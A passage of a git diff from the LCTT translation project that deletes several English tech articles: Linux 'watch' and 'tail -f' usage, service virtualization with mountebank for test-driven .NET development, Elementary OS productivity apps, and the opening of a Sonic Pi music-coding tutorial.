on a Linux system in an ongoing manner. - -That is, instead of just asking a question and getting an answer (like asking **who** and getting a list of currently logged in users), you can get **watch** to provide you with a display showing who is logged in along with updates as users come and go. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -With **tail**, you can display the bottoms of files and see content as it is added. This kind of monitoring is often very helpful and requires less effort than running commands periodically. - -### Using watch - -One of the simplest examples of using **watch** is to use the command **watch who**. You should see a list showing who is logged in along with when they logged in and where they logged in from. Notice that the default is to update the display every two seconds (top left) and that the date and time (upper right) updates itself at that interval. The list of users will grow and shrink as users log in and out. - -### $ watch who - -This command will dissplay a list of logins like this: - -``` -Every 2.0s: who dragonfly: Thu Feb 27 10:52:00 2020 - -nemo pts/0 2020-02-27 08:07 (192.168.0.11) -shs pts/1 2020-02-27 10:58 (192.168.0.5) -``` - -You can change the interval to get less frequent updates by adding a **-n** option (e.g., -n 10) to select a different number of seconds between updates. - -### $ watch -n 10 who - -The new interval will be displayed and the time shown will change less frequently, aligning itself with the selected interval. - -[][2] - -``` -Every 10.0s: who dragonfly: Thu Feb 27 11:05:47 2020 - -nemo pts/0 2020-02-27 08:07 (192.168.0.11) -shs pts/1 2020-02-27 10:58 (192.168.0.5) -``` - -If you prefer to see only the command's output and not the heading (the top 2 lines), you can omit those lines by adding the **-t** (no title) option. - -### $ watch -t who - -Your display will then look like this: - -``` -nemo pts/0 2020-02-27 08:07 (192.168.0.11) -shs pts/1 2020-02-27 10:58 (192.168.0.5) -``` - -If every time the watched command runs, its output is the same, only the title line (if not omitted) will change. The rest of the displayed information will stay the same. - -If you want your **watch** command to exit as soon as the output of the command that it is watching changes, you can use a **-g** (think of this as the "go away") option. You might choose to do this if, for example, you are simply waiting for others to start logging into the system. - -You can also highlight changes in the displayed output using the **-d** (differences) option. The highlighting will only last for one interval (2 seconds by default), but can help to draw your attention to the changes. - -Here's a more complex example of using the **watch** command to display services that are listening for connections and the ports they are using. While the output isn't likely to change, it would alert you to any new service starting up or one going down. - -``` -$ watch 'sudo lsof -i -P -n | grep LISTEN' -``` - -Notice that the command being run needs to be enclosed in quotes to ensure that the **watch** command doesn't send its output to the grep command. - -Using the **watch -h** command will provide you with a list of the command's options. - -``` -$ watch -h - -Usage: - watch [options] command - -Options: - -b, --beep beep if command has a non-zero exit - -c, --color interpret ANSI color and style sequences - -d, --differences[=] - highlight changes between updates - -e, --errexit exit if command has a non-zero exit - -g, --chgexit exit when output from command changes - -n, --interval seconds to wait between updates - -p, --precise attempt run command in precise intervals - -t, --no-title turn off header - -x, --exec pass command to exec instead of "sh -c" - - -h, --help display this help and exit - -v, --version output version information and exit -``` - -### Using tail -f - -The **tail -f** command has something in common with **watch**. It will both display the bottom of a file and additional content as it is added. Instead of having to run a "tail" command again and again, you run one command and get a repeatedly updated view of its output. For example, you could watch a system log with a command like this: - -``` -$ tail -f /var/log/syslog -``` - -Some files, like **/var/log/wtmp**, don't lend themselves to this type of handling because they're not formatted as normal text files, but you could get a similar result by combining **watch** and **tail** like this: - -``` -watch 'who /var/log/wtmp | tail -20' -``` - -This command will display the most recent 5 logins regardless of how many of the users are still logged in. If another login occurs, a line will be added and the top line removed. - -``` -Every 60.0s: who /var/log/wtmp | tail -5 dragonfly: Thu Feb 27 12:46:07 2020 - -shs pts/0 2020-02-27 08:07 (192.168.0.5) -nemo pts/1 2020-02-27 08:26 (192.168.0.5) -shs pts/1 2020-02-27 10:58 (192.168.0.5) -nemo pts/1 2020-02-27 11:34 (192.168.0.5) -dory pts/1 2020-02-27 12:14 (192.168.0.5) -``` - -Both the **watch** and **tail -f** commands can provide auto-updating views of information that you might at times want to monitor, making the task of monitoring quite a bit easier whether you're monitoring processes, logins or system resources. - -Join the Network World communities on [Facebook][3] and [LinkedIn][4] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3529891/watching-activity-on-linux-with-watch-and-tail-commands.html - -作者:[Sandra Henry-Stocker][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Sandra-Henry_Stocker/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[3]: https://www.facebook.com/NetworkWorld/ -[4]: https://www.linkedin.com/company/network-world diff --git a/sources/tech/20200304 How service virtualization relates to test-driven development.md b/sources/tech/20200304 How service virtualization relates to test-driven development.md deleted file mode 100644 index 4ff4243603..0000000000 --- a/sources/tech/20200304 How service virtualization relates to test-driven development.md +++ /dev/null @@ -1,428 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How service virtualization relates to test-driven development) -[#]: via: (https://opensource.com/article/20/3/service-virtualization-test-driven-development) -[#]: author: (Alex Bunardzic https://opensource.com/users/alex-bunardzic) - -How service virtualization relates to test-driven development -====== -Mountebank simulates services you're dependent on so autonomous teams -can continue development activities without having to wait on anyone. -![Person using a laptop][1] - -The agile approach to software development relies on service virtualization to give each IT team autonomy. This approach removes blockages and allows autonomous teams to continue development activities without having to wait on anyone. That way, integration testing can commence as soon as teams start iterating/sprinting. - -### How automated services work - -Any automated service is available to consumers via a published endpoint. This means services can be automated only if they're made available online. - -Any consumer wishing to leverage available automated services must be capable of sending requests to that service's endpoint via an HTTP protocol. Some of those services will, upon receiving the request via the HTTP protocol, respond by simply sending back some data. Other services may respond to receiving a request via HTTP protocol by actually performing some work. For example, a service may create a resource (for example, create an order), update a resource (update an order), or delete a resource (cancel an order). - -All those activities get triggered via the HTTP protocol. In the simplest of cases, the action instigated by the service consumer is GET (e.g., HTTP GET). That request may arrive with some query values; those values will get used by the service to narrow down the search (such as "search for order number 12345 and return the data"). - -In more elaborate cases, a request may arrive with the instruction to POST some values; a service will accept that request and expect some values to be associated with it. Those values are usually called the payload. When the service accepts an HTTP POST request containing the payload, it will attempt to process it. It may or may not succeed in processing it, but either way, it will respond to the service consumer with a status code and an optional status message. That way, service consumers will be notified of the success/failure of their request so that they can decide what the next step should be. - -### What is service virtualization? - -Now that we understand how automated services work, it should be easier to understand how to virtualize them. In a nutshell, it is possible to simulate any service that is published on a hosting site. Instead of sending HTTP requests directly to the service provider's endpoint, you can interject a fake, pretend service that simulates the behavior of the real service. - -From the service consumer's standpoint, it makes absolutely no difference whether it is interacting with a real or a fake service. The interaction remains identical. - -### Virtualize one service - -OK, enough talking, I'll roll up my sleeves and show how to do it in practical terms. Suppose your team is starting a new project and receives requirements in the form of a fully fleshed user story: - -#### Authenticate user - -_As a new app_ -_I want to authenticate the user_ -_Because we want to ensure proper security for the app_ - -#### Acceptance criteria - -**Scenario #1:** _New app successfully authenticates the user_ -Given that the user has navigated to the login page -And the user has submitted credentials -When new app receives login request -Then new app successfully authenticates the user -And new app displays response message "User successfully logged in." - -**Scenario #2:** _New app cannot authenticate the user on the first attempt_ -Given that the user has navigated to the login page -And the user has submitted credentials -When new app receives login request -Then new app fails to successfully authenticate the user -And new app displays response message "Incorrect login. You have 2 more attempts left." - -**Scenario #3:** _New app cannot authenticate the user on the second attempt_ -Given that the user has navigated to the login page -And the user has submitted credentials -When new app receives login request -Then new app fails to successfully authenticate the user -And new app displays response message "Incorrect login. You have 1 more attempt left." - -**Scenario #4:** _New app cannot authenticate the user on the third attempt_ -Given that the user has navigated to the login page -And the user has submitted credentials -When new app receives login request -Then new app fails to successfully authenticate the user -And new app displays response message "Incorrect login. You have no more attempts left." - -The first thing to do when starting the work on this user story is to create the so-called "walking skeleton" (for this exercise, I will be using the standard **.Net Core** platform plus **xUnit.net** I discussed in my previous articles ([starting with this one][2] with [another example here][3]). Please refer to them for technical details on how to install, configure, and run the required tools. - -Create the walking skeleton infrastructure by opening the command line and typing: - - -``` -`mkdir AuthenticateUser` -``` - -Then move inside the **AuthenticateUser** folder: - - -``` -`cd AuthenticateUser` -``` - -And create a separate folder for tests: - - -``` -`mkdir tests` -``` - -Move into the **tests** folder (**cd tests**) and initiate the **xUnit** framework: - - -``` -`dotnet new xunit` -``` - -Now move one folder up (back to **AuthenticateUser**) and create the app folder: - - -``` -mkdir app -cd app -``` - -Create the scaffold necessary for C# code: - - -``` -`dotnet new classlib` -``` - -The walking skeleton is now ready! Open the editor of your choice and start coding. - -### Write a failing test first - -In the spirit of TDD, start by writing the failing test (refer to the [previous article][4] to learn why is it important to see your test fail before attempting to make it pass): - - -``` -using System; -using Xunit; -using app; - -namespace tests { -    public class UnitTest1 { -        Authenticate auth = [new][5] Authenticate(); - -        [Fact] -        public void SuccessLogin(){ -            var given = "credentials"; -            var expected = "Successful login."; -            var actual = auth.Login(given); -            Assert.Equal(expected, actual); -        } -    } -} -``` - -This test states that if someone supplies some credentials (i.e., a secret username and password) to the **Login** method of the **Authenticate** component when it processes the request, it is expected to return the message "Successful login." - -Of course, this is functionality that does not exist yet—the instantiated **Authenticate** module in the **SuccessLogin()** module hasn't been written yet. So you might as well go ahead and take the first stab at writing the desired functionality. Create a new file (**Authenticate.cs**) in the **app** folder and add the following code: - - -``` -using System; - -namespace app { -    public class Authenticate { -        public string Login(string credentials) { -            return "Not implemented"; -        } -    } -} -``` - -Now, navigate to the **tests** folder and run: - - -``` -`dotnet test` -``` - -![Output of dotnet.test][6] - -The test fails because it was expecting a "Successful login" output but instead got the "Not implemented" output. - -### Increasing complexity for day two operations - -Now that you have created the "happy path" expectation and made it fail, it is time to work on implementing the functionality that will make the failing test pass. The following day, you attend the standup and report that you have started on the "Authenticate user" story. You let the team know that you have created the first failing test for the "happy path," and today, the plan is to implement the code to make the failing test pass. - -You explain your intention to first create a **User** table containing the **username**, **password**, and other pertinent attributes. But the scrum master interrupts and explains that the **User** module is being handled by another team. It would be bad practice to duplicate the maintenance of users, as the information will quickly get out of sync. So instead of building the **User** module (which would include the authentication logic), you are to leverage the authentication services that the **User** team is working on. - -That's great news because it saves you the trouble of having to write a lot of code to implement the **User** processing. Emboldened, you enthusiastically announce that you will quickly cobble up a function that will take user credentials and send them to the service that the **User** team has built. - -Alas, your intentions get squashed again as you learn that the **User** team hasn't started building the **User authentication** service yet. They're still in the process of assigning user stories to the backlog. Disheartened, you resign to the fact that it will be at least a few days (if not weeks?) before you can start working on the **User authentication** story. - -The scrum master then says that there is no reason to wait for the **User authentication** service to be built and deployed to testing. You could start developing the authentication functionality right away. But how can you do that? - -The scrum master offers a simple suggestion: leverage service virtualization. Since all specifications for the **User** module have been solidified and signed off, you have a solid, non-volatile contract to build your solution against. The contract published by the **User** services team states that in order to authenticate a user, specific expectations must be fulfilled: - - 1. A client wishing to authenticate a user should send an **HTTP POST** request to the endpoint . - 2. The **HTTP POST** sent to the above endpoint must have a **JSON** payload that contains the user credentials (i.e., username and password). - 3. Upon receiving the request, the service will attempt to log the user in. If the username and password match the information on record, the service will return an **HTTP** response containing status code 200 with the body of the response containing the message "User successfully logged in." - - - -So, now that you know the contract details, you can start building the solution. Here's the code that connects to the endpoint, sends the **HTTP POST** request, and receives the **HTTP** response: - - -``` -using System; -using System.Net.Http; -using System.Threading.Tasks; -using System.Collections.Generic; - -namespace app { -    public class Authenticate { -        HttpClient client = [new][5] HttpClient(); -        string endPoint = ""; - -        public string Login(string credentials) { -            Task<string> response = CheckLogin(credentials); -            return response.Result; -        } - -        private async Task<string> CheckLogin(string credentials) { -            var values = [new][5] Dictionary<string, string>{{"credentials", credentials}}; -            var content = [new][5] FormUrlEncodedContent(values); -            var response = await client.PostAsync(endPoint, content); -            return await response.Content.ReadAsStringAsync(); -        } -    } -} -``` - -This code won't work because does not exist (yet). Are you stuck now, waiting for the other team to eventually build and deploy that service? - -Not really. Service virtualization to rescue! Let's pretend that the service is already there and continue the development. - -### How to virtualize a service - -One way to virtualize the **User authentication** service would be to write a new app (the new API) and run it locally. This API will mirror the contract specified by the real **User authentication** API and will only return hard-coded stubbed data (it will be a fake service). - -Sounds like a good plan. Again, the team pushes back during the standup, questioning the need for writing, building, testing, and deploying a brand new app just to accomplish this fake functionality. It kind of wouldn't be worth the trouble because, by the time you deliver that new fake app, the other team would probably be ready with the real service. - -So you've reached an impasse. It looks like you are forced to wait on your dependency to materialize. You've failed to control your dependencies; you now have no recourse but to work in a sequential fashion. - -Not so fast! There is a great new tool called [mountebank][7] that is ideal for virtualizing any service. Using this tool, you can quickly stand up a local server that listens on a port you specify and takes orders. To make it simulate a service, you only have to tell it which port to listen to and which protocol to handle. The choice of protocols is: - - * HTTP - * HTTPS - * SMTP - * TCP - - - -In this case, you need the HTTP protocol. First, install mountebank—if you have **npm** on your computer, you can simply type on the command line: - - -``` -`npm install -g mountebank` -``` - -After it's installed, run mountebank by typing: - - -``` -`mb` -``` - -At startup, mountebank will show: - -![mountebank startup][8] - -Now you're ready to virtualize an HTTP service. In this case, the **User authentication** service expects to receive an HTTP POST request; here is how the implemented code sends an HTTP POST request: - - -``` -`var response = await client.PostAsync(endPoint, content);` -``` - -You now have to establish that **endPoint**. Ideally, all virtualized services should be propped in the **localhost** server to ensure quick execution of integration tests. - -To do that, you need to configure the **imposter**. In its bare-bones form, the **imposter** is a simple JSON collection of key-value pairs containing the definition of a port and a protocol: - - -``` -{ -    "port": 3001, -    "protocol": "http" -} -``` - -This imposter is configured to handle the HTTP protocol and to listen to incoming requests on port 3001. - -Just listening to incoming HTTP requests on port 3001 is not going to do much. Once the request arrives at that port, mountebank needs to be told what to do with that request. In other words, you are virtualizing not only the availability of a service on a specific port but also the way that virtualized service is going to respond to the request. - -To accomplish that level of service virtualization, you need to tell mountebank how to configure stubs. Each stub consists of two components: - - 1. A collection of predicates - 2. A collection of expected responses - - - -A predicate (sometimes called a matcher) narrows down the scope of the incoming request. For example, using the HTTP protocol, you can expect more than one type of method (e.g., GET, POST, PUT, DELETE, PATCH, etc.). In most service-virtualization scenarios, we are interested in simulating the behavior that is specific to a particular HTTP method. This scenario is about responding to the HTTP POST request, so you need to configure your stub to match on HTTP POST requests only: - - -``` -{ -    "port": 3001, -    "protocol": "http", -    "stubs": [ -        { -            "predicates": [ -                { -                    "equals": { -                        "method": "post" -                    } -                } -            ] -        } -    ] -} -``` - -This imposter defines one predicate that matches (using the keyword **equals**) on the HTTP POST request only. - -Now take a closer look at the **endPoint** value, as defined in the implemented code: - - -``` -`string endPoint = "http://localhost:3001/api/v1/users/login";` -``` - -In addition to listening to port 3001 (as defined in ), the **endPoint** is more specific, in that it expects the incoming HTTP POST request to go to the /api/v1/users/login path. How do you tell mountebank to only match exactly on the /api/v1/users/login path? By adding the path key-value pair to the stub's predicate: - - -``` -{ -    "port": 3001, -    "protocol": "http", -    "stubs": [ -        { -            "predicates": [ -                { -                    "equals": { -                        "method": "post", -                        "path": "/api/v1/users/login" -                    } -                } -            ] -        } -    ] -} -``` - -This imposter now knows that HTTP requests arriving at port 3001 must be a POST method and must point at the /api/v1/users/login path. The only thing left to simulate is the expected HTTP response. - -Add the response to the JSON imposter: - - -``` -{ -    "port": 3001, -    "protocol": "http", -    "stubs": [ -        { -            "predicates": [ -                { -                    "equals": { -                        "method": "post", -                        "path": "/api/v1/users/login" -                    } -                } -            ], -            "responses": [ -                { -                    "is": { -                        "statusCode": 200, -                        "body": "Successful login." -                    } -                } -            ] -        } -    ] -} -``` - -With mountebank imposters, you define responses as a collection of JSON key-value pairs. In most cases, it is sufficient to simply state that a response is a **statusCode** and a **body**. This case is simulating the "happy path" response that has the status code **OK (200)** and the body containing a simple message **Successful login** (as specified in the acceptance criteria). - -### How to run virtualized services? - -OK, now that you have virtualized the **User authentication** service (at least its "happy path"), how do you run it? - -Remember that you have already started mountebank, and it reported that it is running in memory as the domain. Mountebank is listening on port 2525 and taking orders. - -Great, now you have to tell mountebank that you have the imposter ready. How do you do that? Send an HTTP POST request to . The requests body must contain the JSON you created above. There are a few techniques available to send that request. If you're versed in [curl][9], using it to send HTTP POST requests would be the simplest, quickest way to stand up the imposter. But many people prefer a more user-friendly way to send the HTTP POST to mountebank. - -The easy way to do that is to use [Postman][10]. If you download and install Postman, you can point it at , select the POST method from the pulldown menu, and copy and paste the imposter JSON into the raw body. - -When you click Send, the imposter will be created, and you should get Status 201 (Created). - -![Postman output][11] - -Your virtualized service is now running! You can verify it by navigating to the **tests** folder and running the **dotnet test** command: - -![dotnet test output][12] - -### Conclusion - -This demo shows how easy it is to remove blockages and control dependencies by simulating services you're dependent on. Mountebank is a fantastic tool that easily and cheaply simulates all kinds of very elaborate, sophisticated services. - -In this installment, I just had time to illustrate how to virtualize a simple "happy path" service. If you go back to the actual user story, you will notice that its acceptance criteria contain several "less happy" paths (cases when someone is repeatedly trying to log in using invalid credentials). It's a bit trickier to properly virtualize and test those use cases, so I've left that exercise for the next installment in this series. - -How will you use service virtualization to solve your testing needs? I would love to hear about it in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/service-virtualization-test-driven-development - -作者:[Alex Bunardzic][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alex-bunardzic -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://opensource.com/article/19/8/mutation-testing-evolution-tdd -[3]: https://opensource.com/article/19/9/mutation-testing-example-tdd -[4]: https://opensource.com/article/20/2/automate-unit-tests -[5]: http://www.google.com/search?q=new+msdn.microsoft.com -[6]: https://opensource.com/sites/default/files/uploads/dotnet-test.png (Output of dotnet.test) -[7]: http://www.mbtest.org/ -[8]: https://opensource.com/sites/default/files/uploads/mountebank-startup.png (mountebank startup) -[9]: https://curl.haxx.se/ -[10]: https://www.postman.com/ -[11]: https://opensource.com/sites/default/files/uploads/status-201.png (Postman output) -[12]: https://opensource.com/sites/default/files/uploads/dotnet-test2.png (dotnet test output) diff --git a/sources/tech/20200305 5 productivity apps for Linux.md b/sources/tech/20200305 5 productivity apps for Linux.md deleted file mode 100644 index 3e7423dc59..0000000000 --- a/sources/tech/20200305 5 productivity apps for Linux.md +++ /dev/null @@ -1,153 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 productivity apps for Linux) -[#]: via: (https://opensource.com/article/20/3/productivity-apps-linux-elementary) -[#]: author: (Scott Nesbitt https://opensource.com/users/scottnesbitt) - -5 productivity apps for Linux -====== -Get organized and accomplish more with these five productivity apps for -the Elementary Linux desktop. -![Person drinking a hat drink at the computer][1] - -I've had a soft spot for [Elementary OS][2] since I first encountered it in 2013. A lot of that has to do with the distribution being very clean and simple. - -Since 2013, I've recommended Elementary to people who I've helped [transition to Linux][3] from other operating systems. Some have stuck with it. Some who moved on to other Linux distributions told me that Elementary helped smooth the transition and gave them more confidence using Linux. - -Like the distribution itself, many of the applications created specifically for Elementary OS are simple, clean, and useful. They can help boost your day-to-day productivity, too. - -### About "pay-what-you-want" apps - -Some apps in the Elementary AppCenter ask you to pay what you can. You're not obliged to pay to the full amount a developer asks for (or pay anything, for that matter). However, any money that changes hands goes to support the development of those apps. - -Three of the applications in this article—Quilter, Notes-up, and Envelope—are pay-what-you-want. If you find an app useful, I encourage you to send some money the developer's way. - -### Envelope - -Managing your budget should be simple. More than a few people, though, struggle with the task. That's where [Envelope][4] can help. While Envelope doesn't pack the features of something like [GnuCash][5], it's good enough for most of us. - -The app is built around the [envelope system][6] of personal and household budgeting. The first time you launch Envelope, you need to set up an account. You can do that manually, or you can import a [QIF][7] file containing financial information from another program. - -![Adding an account in Envelope][8] - -Either way, Envelope offers a set of categories (your envelopes). Add or delete categories as you see fit—for example, I don't own a car, so I deleted the Fuel category. - -From there, add transactions. Those can be your expenses or your income. Or both. - -![Entering a transaction in Envelope][9] - -Envelope gives you an overview of your spending and income. To get a more focused view of your budget, you can report on the current or previous month or a specific range of dates. - -### Notes-Up - -[Notes-Up][10]'s look and feel are reminiscent of note-taking tools like [Standard Notes][11], Simplenote, and the macOS Notes app. If you use any of them, switching to Notes-Up will be smooth and painless. Regardless, Notes-Up is easy to learn and use. - -![Notes-Up][12] - -Create a note and start typing. Notes-Up supports Markdown, making it easy to add formatting to your notes. - -![Taking notes in Notes-Up][13] - -If your Markdown is rusty, you can click the buttons on the toolbar to add formatting like lists; bold, italics, and strikethrough; code blocks; images; and more. You can also export your notes as PDF or Markdown files. - -Use Notes-Up for a while, and you'll wind up with a long list of notes. Organize them using _notebooks_. You can, for example, create personal, school, and work notebooks. On top of that, Notes-Up enables you to create sub-notebooks. Under my notebook for Opensource.com, for example, I have sub-notebooks for articles and the news roundups I curate. - -Notebooks not your thing? Then use tags to add keywords to your notes to make them easier to sort. - -### Yishu - -I do as much of my work as I can in [plain text][14]. That includes my task list. For that, I turn to a handy command-line application called [Todo.txt][15]. - -If you aren't comfortable working at the command line, then [Yishu][16] is for you. It has Todo.txt's key features but graphically on the desktop. - -![Yishu][17] - -When you first fire up Yishu, it asks you to open an existing Todo.txt file. If you have one, open it. Otherwise, create a task. That also creates a new file for your tasks. - -![Adding a task in Yishu][18] - -Your options are limited: a description of the task and a priority. You can also add a due date in the format _YYYY-MM-DD_—for example, _2020-02-17_. - -When you click **OK**, Yishu saves the file Todo.txt to your **/home** folder. That might not be where you want to store your tasks. You can tell Yishu to use another folder in its preferences. - -### Reminduck - -Chances are, your notifications and reminders are jarring. A piercing buzz, an annoying beep, a text box that appears when you least expect it. Why not add a bit of [calm][19] and a bit of whimsy to your reminders—with a duck? - -That's the idea behind [Reminduck][20]. It's a simple and fun way to tell yourself it's time to do, well, anything. - -Fire up the app and create a reminder. You can add a description, date, and time for the reminder to appear, and you can set it to repeat. Reminders can repeat after a number of minutes that you set or at specific times every day, week, or month. - -![Reminduck][21] - -You can set up more than one reminder. Reminduck organizes your reminders, and you can edit or delete them. - -![Reminduck reminders][22] - -When the reminder is triggered, a little message pops out of the notification area on the desktop along with a soft alert and an icon of a smiling duck. - -![Reminduck notification][23] - -### Quilter - -It's easy enough to write with [Markdown][24] in a plain old text editor. Some folks, though, prefer to work with a dedicated Markdown editor. On the Elementary OS desktop, one option is [Quilter][25]. - -![Quilter][26] - -Quilter is pretty basic. There's no toolbar to insert formatting; you have to add Markdown by hand. On the other hand, Quilter displays a running word count and an estimate of how long it will take to read what you're writing. - -![Quilter][27] - -The editor's options are few. There's a preview mode, and you can export your documents to PDF or HTML. The result of an export has the same look as a preview. That's not a bad thing. - -Quilter's other options include the ability to change the line spacing and margins, set the editor's font, as well as enable syntax highlighting and spell checking. It also has a mode that you can use to focus on a single line or a single paragraph while you're writing. - -### Final thoughts - -Sometimes, the best tools to boost your productivity are simple ones. Applications like the five above focus on doing one thing and doing it well. - -Envelope, Notes-Up, Yishu, Reminduck, and Quilter won't appeal to everyone. But if you use Elementary OS, give them a try. They can help you keep on track and do what you need to do. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/productivity-apps-linux-elementary - -作者:[Scott Nesbitt][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/scottnesbitt -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hat drink at the computer) -[2]: https://elementary.io -[3]: https://opensource.com/article/18/12/help-non-techies -[4]: https://nlaplante.github.io/envelope/ -[5]: https://opensource.com/article/20/2/gnucash -[6]: https://en.wikipedia.org/wiki/Envelope_system -[7]: https://en.wikipedia.org/wiki/Quicken_Interchange_Format -[8]: https://opensource.com/sites/default/files/uploads/envelope-add-account.png (Adding an account in Envelope) -[9]: https://opensource.com/sites/default/files/uploads/envelope-entering-transaction.png (Entering a transaction in Envelope) -[10]: https://appcenter.elementary.io/com.github.philip-scott.notes-up/ -[11]: https://opensource.com/article/18/12/taking-notes-standard-notes -[12]: https://opensource.com/sites/default/files/uploads/notes-up-main-window.png (Notes-Up) -[13]: https://opensource.com/sites/default/files/uploads/notes-up-taking-note.png (Taking notes in Notes-Up) -[14]: https://plaintextproject.online -[15]: https://opensource.com/article/20/1/open-source-to-do-list -[16]: https://appcenter.elementary.io/com.github.lainsce.yishu/ -[17]: https://opensource.com/sites/default/files/uploads/yishu-task-list.png (Yishu) -[18]: https://opensource.com/sites/default/files/uploads/yishu-add-task.png (Adding a task in Yishu) -[19]: https://weeklymusings.net/weekly-musings-025 -[20]: https://appcenter.elementary.io/com.github.matfantinel.reminduck/ -[21]: https://opensource.com/sites/default/files/uploads/reminduck.png (Reminduck) -[22]: https://opensource.com/sites/default/files/uploads/remiunduck-reminders-list.png (Reminduck reminders) -[23]: https://opensource.com/sites/default/files/uploads/reminduck-notification.png (Reminduck notification) -[24]: https://opensource.com/article/19/8/markdown-beginners-cheat-sheet -[25]: https://appcenter.elementary.io/com.github.lainsce.quilter/ -[26]: https://opensource.com/sites/default/files/uploads/quilter.png (Quilter) -[27]: https://opensource.com/sites/default/files/uploads/quilter-editing.png (Quilter) diff --git a/sources/tech/20200307 Compose music as code using Sonic Pi.md b/sources/tech/20200307 Compose music as code using Sonic Pi.md deleted file mode 100644 index 2f5d2a01a8..0000000000 --- a/sources/tech/20200307 Compose music as code using Sonic Pi.md +++ /dev/null @@ -1,130 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (anine09) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Compose music as code using Sonic Pi) -[#]: via: (https://opensource.com/article/20/3/sonic-pi) -[#]: author: (Matt Bargenquast https://opensource.com/users/mbargenquast) - -Compose music as code using Sonic Pi -====== -There's no need for instrumental mastery with this accessible open -source program that can turn you into a musical virtuoso. -![Bird singing and music notes][1] - -Maybe you're like me, and you learned a musical instrument when you were in school. For me, it was the piano, and later, the viola. However, I've always held that, as my childhood interests shifted towards computers and coding, I subsequently neglected my music practice. I do wonder what I would have done if I'd had something like Sonic Pi when I was younger. Sonic Pi is an open source program that lets you compose and perform music through code itself. It's the perfect marriage of those two worlds. - -Opensource.com is no stranger to Sonic Pi—we [featured an interview][2] with the creator, Dr. Sam Aaron, back in 2015. Since that time, a lot has changed, and Sonic Pi has grown substantially in many ways. It's reached a major new version milestone, with the long-awaited v3.2 release made publically available on February 28, 2020. A growing community of developers is actively contributing to its [GitHub project][3], while an equally thriving community of composers shares ideas and support in the [official forums][4]. The project is now also financially assisted through a [Patreon campaign][5], and Sam himself has been spreading the word of Sonic Pi through schools, conferences, and workshops worldwide. - -What really shines about Sonic Pi is its approachability. Releases are available for many major flavors of OS, including Windows, macOS, Linux, and of course, the Raspberry Pi itself. In fact, getting started with Sonic Pi on a Raspberry Pi couldn't be simpler; it comes pre-installed with [Raspbian][6], so if you have an existing Raspbian-based setup, you'll find it situated in the programming menu. - -Upon loading Sonic Pi for the first time, you'll be greeted with a simple interface with two main areas: an editor in which to write your code, and a section devoted to Sonic Pi's expansive tutorial. For newcomers, the tutorial is an essential resource for learning the basics, featuring accompanying music programs to reinforce each concept being taught. - -If you're following along, let's code ourselves a simple bit of music and explore the potential of live-coding music. Type or paste the following code into the Sonic Pi editor: - - -``` -live_loop :beat do -  sample :drum_heavy_kick -  sleep 1 -end -``` - -Even if you're a Sonic Pi novice, many coders may immediately understand what's going on here. We're playing a drum kick sample, sleeping for a second, and then repeating. Click the Run button or press ALT+R (meta+R on macOS), and you should hear it begin to play. - -This isn't a very exciting song yet, so let's liven it up with a snare playing on the off-beat. Replace the existing code with the block below and Run again. You can leave the existing beat playing while you do this; you'll notice that your changes will be applied naturally, in time with the beat: - - -``` -live_loop :beat do -  sample :drum_heavy_kick -  sleep 0.5 -  sample :drum_snare_soft -  sleep 0.5 -end -``` - -While we're at it, let's add a hi-hat right before every fourth beat, just to make things a little interesting. Add this new block below our existing one and Run again: - - -``` -live_loop :hihat do -  sleep 3.9 -  sample :drum_cymbal_closed -  sleep 0.1 -end -``` - -We've got our beat going now, so let's add a bassline! Sonic Pi comes with a variety of synths built-in, along with effects filters such as reverb and distortion. We'll use a combination of the "dsaw" and "tech_saw" synths to give it an electronic retro-synth feel. Add the block below to your existing program, Run, and have a listen: - - -``` -live_loop :bass do -  use_synth :dsaw -  play :a2, attack: 1, release: 2, amp: 0.3 -  sleep 2.5 -  use_synth :tech_saws -  play :a1, attack: 1, release: 1.5, amp: 0.8 -  sleep 1.5 -end -``` - -You'll note above that we have full control over the [ADSR][7] envelope when playing notes, so we can decide when each sound should peak and fade. - -Lastly, let's add a lead synth and try out one of those effects features known as the "slicer." To spice things up, we'll also introduce an element of pseudo-randomness by letting Sonic Pi pick from a series of potential chords. This is where some of the fun improvisation and "happy accidents" can begin to occur. Add the block below to your existing program and Run: - - -``` -live_loop :lead do -  with_fx :slicer do -    chords = [(chord :A4, :minor7), (chord :A4, :minor), (chord :D4, :minor7), (chord :F4, :major7)] -    use_synth :blade -    play chords.choose, attack: 1, release: 2, amp: 1 -    sleep 2 -  end 